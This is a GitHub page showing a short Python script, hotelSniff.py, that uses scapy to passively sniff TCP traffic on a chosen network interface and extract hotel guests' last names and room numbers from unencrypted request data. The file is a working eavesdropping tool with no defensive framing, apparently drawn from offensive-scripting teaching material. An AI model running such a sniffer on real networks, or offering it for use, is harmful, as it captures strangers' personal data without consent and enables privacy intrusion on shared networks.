-
Notifications
You must be signed in to change notification settings - Fork 0
/
hotelSniff.py
28 lines (25 loc) · 834 Bytes
/
hotelSniff.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# coding=UTF-8
import optparse
from scapy.all import *
def findGuest(pkt):
raw = pkt.sprintf("%Raw.load")
name = re.findall("(?i)LAST_NAME=(.*)&",raw)
room = re.findall("(?i)ROOM_NUMBER=(.*)'",raw)
if name:
print("[+] Found Hotel Guest" + str(name[0])+",Room#"+str(room[0]))
def main():
parser = optparse.OptionParser('usage%prog -i<interface>')
parser.add_option('-i',dest='interface',type='string',help='specify interface to listen on')
(options,args)=parser.parse_args()
if options.interface == None:
print(parser.usage)
exit(0)
else:
conf.iface = options.interface
try:
print('[*] Starting Hotel Guest Sniffer.')
sniff(filter='tcp',prn=findGuest,store=0)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()